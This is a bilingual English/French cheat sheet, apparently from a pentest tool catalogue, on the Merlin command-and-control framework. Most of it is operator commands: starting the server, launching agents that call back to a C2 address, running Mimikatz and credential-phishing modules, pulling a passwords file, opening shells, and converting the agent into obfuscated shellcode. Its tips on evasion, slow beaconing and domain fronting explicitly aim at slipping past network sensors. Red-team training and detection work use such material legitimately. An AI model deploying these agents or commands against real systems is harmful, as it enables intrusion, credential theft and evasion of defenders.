merlin
Serveur C2 multiplateforme utilisant HTTP/2 pour une communication chiffrée avec les agents. Les agents s'exécutent sur Windows, Linux et macOS avec la prise en charge de plusieurs protocoles et modules d'agent. Cross-platform C2 server using HTTP/2 for encrypted agent communication. Agents run on Windows, Linux, and macOS with support for multiple protocols and agent modules.
↗ https://github.com/Ne0nd0g/merlinOverview
Merlin is a cross-platform C2 framework that uses HTTP/2 (or HTTP/3) for all agent-to-server communication — providing built-in encryption and multiplexing. Agents (merlin-agent) run on Windows, Linux, and macOS and communicate back to the Merlin server. Features a CLI and module system for post-exploitation.
Installation
# Download prebuilt release
# https://github.com/Ne0nd0g/merlin/releases
Or build from source
go get github.com/Ne0nd0g/merlin
Starting the Server
Start Merlin server
./merlinServer-Linux-x64 -i 0.0.0.0 -p 443 -protocol https
With a specific certificate
./merlinServer-Linux-x64 -cert server.crt -key server.key
Using HTTP/2
./merlinServer-Linux-x64 -protocol h2 -p 443
Using HTTP/3 (QUIC)
./merlinServer-Linux-x64 -protocol h3 -p 443
Agents
Linux agent
./merlinAgent-Linux-x64 -url https://10.10.10.50:443/
Windows agent (PowerShell)
.\merlinAgent-Windows-x64.exe -url https://10.10.10.50:443/
With custom sleep interval and jitter
./merlinAgent-Linux-x64 -url https://10.10.10.50:443/ -sleep 30s -skew 10
With proxy
./merlinAgent-Linux-x64 -url https://10.10.10.50:443/ -proxy http://proxy:8080
Merlin Console Commands
# List agents
agents
# Interact with an agent
agent interact <agent_id>
# Run commands on agent
cmd whoami
cmd systeminfo
cmd ipconfig /all
# Upload/download files
download C:\Users\user\passwords.txt
upload /local/tool.exe C:\temp\tool.exe
# Load a module
module use <module_name>
module show options
module run
# Shell access
shell /bin/bash
Modules
List available modules
module list
# Common modules:
# windows/x64/powershell/invoke-obfuscation
# windows/x64/powershell/invoke-mimikatz
# windows/x64/credentials/credphish
# linux/x64/bash/bash
# multi/recon/mimikatz
# Use a module
module use windows/x64/powershell/invoke-mimikatz
module run
Payload Generation (Merlin-Agent)
The agent binary itself is the payload Cross-compile for Windows from Linux
GOOS=windows GOARCH=amd64 go build -o merlinAgent.exe
# Or download precompiled from releases page
For obfuscation: wrap with Scarecrow or Donut Convert to shellcode with donut:
donut -i merlinAgent.exe -o merlin_shellcode.bin -a 2
Tips
- HTTP/2 traffic looks like normal HTTPS to network sensors — good evasion
- The server uses a random TLS certificate by default — replace with a real cert for better opsec
- Use
-sleep 60s -skew 20for slower beaconing in low-detection environments - Combine with domain fronting for traffic routing through CDNs
Help / Man page
merlinServer [options]
-i IP Listen IP (default: 127.0.0.1)
-p PORT Listen port (default: 443)
-protocol h2|h3|https|http|http2|quic
-cert FILE TLS certificate
-key FILE TLS key
-psk STR Pre-shared key (agent auth)
-log FILE Log file
merlinAgent [options]
-url URL Merlin server URL
-sleep DURATION Callback interval (default: 30s)
-skew N Jitter percentage
-protocol h2|h3|https
-proxy URL HTTP proxy
-ja3 STR JA3 fingerprint string
Vue d’ensemble
Merlin est un framework C2 multiplateforme qui utilise HTTP/2 (ou HTTP/3) pour toute la communication agent-serveur, offrant chiffrement et multiplexage natifs. Les agents (merlin-agent) s’exécutent sur Windows, Linux et macOS et communiquent avec le serveur Merlin. Il propose une CLI et un système de modules pour le post-exploitation.
Installation
# Télécharger la version précompilée
# https://github.com/Ne0nd0g/merlin/releases
# Ou compiler depuis les sources
go get github.com/Ne0nd0g/merlin
Démarrage du serveur
# Démarrer le serveur Merlin
./merlinServer-Linux-x64 -i 0.0.0.0 -p 443 -protocol https
# Avec un certificat spécifique
./merlinServer-Linux-x64 -cert server.crt -key server.key
# Utiliser HTTP/2
./merlinServer-Linux-x64 -protocol h2 -p 443
# Utiliser HTTP/3 (QUIC)
./merlinServer-Linux-x64 -protocol h3 -p 443
Agents
# Agent Linux
./merlinAgent-Linux-x64 -url https://10.10.10.50:443/
# Agent Windows (PowerShell)
.\merlinAgent-Windows-x64.exe -url https://10.10.10.50:443/
# Avec un intervalle de sommeil et un jitter personnalisés
./merlinAgent-Linux-x64 -url https://10.10.10.50:443/ -sleep 30s -skew 10
# Avec un proxy
./merlinAgent-Linux-x64 -url https://10.10.10.50:443/ -proxy http://proxy:8080
Commandes de la console Merlin
# Lister les agents
agents
# Interagir avec un agent
agent interact <agent_id>
# Exécuter des commandes sur l'agent
cmd whoami
cmd systeminfo
cmd ipconfig /all
# Téléverser/télécharger des fichiers
download C:\Users\user\passwords.txt
upload /local/tool.exe C:\temp\tool.exe
# Charger un module
module use <module_name>
module show options
module run
# Accès shell
shell /bin/bash
Modules
# Lister les modules disponibles
module list
# Modules courants :
# windows/x64/powershell/invoke-obfuscation
# windows/x64/powershell/invoke-mimikatz
# windows/x64/credentials/credphish
# linux/x64/bash/bash
# multi/recon/mimikatz
# Utiliser un module
module use windows/x64/powershell/invoke-mimikatz
module run
Génération de payload (Merlin-Agent)
# Le binaire de l'agent est lui-même le payload : compilation croisée pour Windows depuis Linux
GOOS=windows GOARCH=amd64 go build -o merlinAgent.exe
# Ou télécharger la version précompilée depuis la page des releases
# Pour l'obfuscation : encapsuler avec Scarecrow ou Donut, puis convertir en shellcode avec donut
donut -i merlinAgent.exe -o merlin_shellcode.bin -a 2
Conseils
- Le trafic HTTP/2 ressemble à du HTTPS normal pour les sondes réseau, ce qui offre une bonne évasion
- Le serveur utilise un certificat TLS aléatoire par défaut, le remplacer par un certificat réel pour une meilleure opsec
- Utiliser
-sleep 60s -skew 20pour un beaconing plus lent dans les environnements à faible détection - Combiner avec le domain fronting pour router le trafic via des CDN
Aide / Page de manuel
merlinServer [options]
-i IP Listen IP (default: 127.0.0.1)
-p PORT Listen port (default: 443)
-protocol h2|h3|https|http|http2|quic
-cert FILE TLS certificate
-key FILE TLS key
-psk STR Pre-shared key (agent auth)
-log FILE Log file
merlinAgent [options]
-url URL Merlin server URL
-sleep DURATION Callback interval (default: 30s)
-skew N Jitter percentage
-protocol h2|h3|https
-proxy URL HTTP proxy
-ja3 STR JA3 fingerprint string